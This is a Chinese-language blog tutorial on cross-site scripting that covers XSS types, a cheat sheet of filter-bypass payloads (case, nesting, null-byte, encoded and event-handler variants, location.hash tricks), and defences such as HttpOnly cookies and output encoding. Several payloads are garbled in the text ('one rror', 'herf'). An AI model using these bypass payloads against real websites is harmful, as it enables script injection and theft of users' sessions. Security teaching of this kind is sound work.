xss原理
xss產生的原因是將惡意的html腳本代碼插入web頁面,底層原理和sql注入一樣,都是因為js和php等都是解釋性語言,會將輸入的當做命令執行,所以可以注入惡意代碼執行我們想要的內容
xss分類
- 存盤型xss:
js腳本代碼會插入資料庫,具有一定的持久性 - 反射型xss:
js經過后端php等語言處理 - dom型xss:
和反射型xss類似,但是不經過后端服務器的處理
xss繞過總結:
自身繞過
<script>alert('xss')</script> //沒有過濾
<Script>alert('xss')</Script> //大小寫繞過
<scscriptript>alert('xss')</scscriptript> //嵌套繞過
<sc\x00ript>alert('xss')</sc\x00ript> //空位元組繞過
" oonnclick=alert('XSS') // //閉合單雙引號繞過(對于html物體輸入的和過濾< >)
其他標簽繞過
<a herf="javascript:alert(1)">show</a>
<body onl oad=alert(1)>
<input type=image src=https://www.cnblogs.com/Lmg66/p/x:x one rror=alert(1)>
編碼繞過
base64編碼繞過
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<img src=https://www.cnblogs.com/Lmg66/p/"x" one rror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
Unicode編碼繞過
在線編碼地址:http://tool.chinaz.com/tools/unicode.aspx
<img src=https://www.cnblogs.com/Lmg66/p/"x" one rror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<script>\u0061lert(1)</script>
<img src=https://www.cnblogs.com/Lmg66/p/"x" one rror="alert("xss");">

url編碼繞過
<img src=https://www.cnblogs.com/Lmg66/p/"x" one rror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii碼繞過
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可使用瀏覽器插件快速編碼

hex繞過
<img src=https://www.cnblogs.com/Lmg66/p/x one rror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
十進制,八進制,十六進制
<img src=https://www.cnblogs.com/Lmg66/p/x one rror="/u0061lert(1)"/>
補充:on事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
長度限制的繞過:
可以利用事件如:
"onclick=alert(1)// 來減少字數
將代碼藏入location.hash中,構造為
"onclick="eval(location.hash.sustr(1))
注釋將兩個文本框變為一個
奇怪的符號決議
<svg/onload=alert()>
<script/src=https://www.cnblogs.com//?.?>
參考文章:https://nosec.org/home/detail/3206.html
xss防御
- 設定cookie中設定httponly屬性,那么js腳本將無法讀取到cookie資訊
PHP5(PHP5.2以上版本已支持HttpOnly引數的設定,同樣也支持全域的HttpOnly的設定,在php.ini中設定,設定其值為1或者TRUE,來開啟全域的Cookie的HttpOnly屬性)
session.cookie_httponly =
當然代碼也能實作:
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE); - 限制輸入長度,在業務內減少用戶能輸入長度,像年齡,用戶名等地方限制15個字符,幾乎就很難xss(個人理解)
- 過濾業務用不到的字符如< >,script等標簽字符
- 輸出檢查,輸出到url的進行URLEncode,輸出進行html物體化輸出
- 成熟框架相對安全些(注意是相對)
參考文章
深入理解瀏覽器決議機制和XSS向量編碼:http://bobao.360.cn/learning/detail/292.html
XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
《白帽子講web安全》
歡迎訪問我的個人博客:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/73495.html
標籤:其他
下一篇:記一次抓包和破解App介面
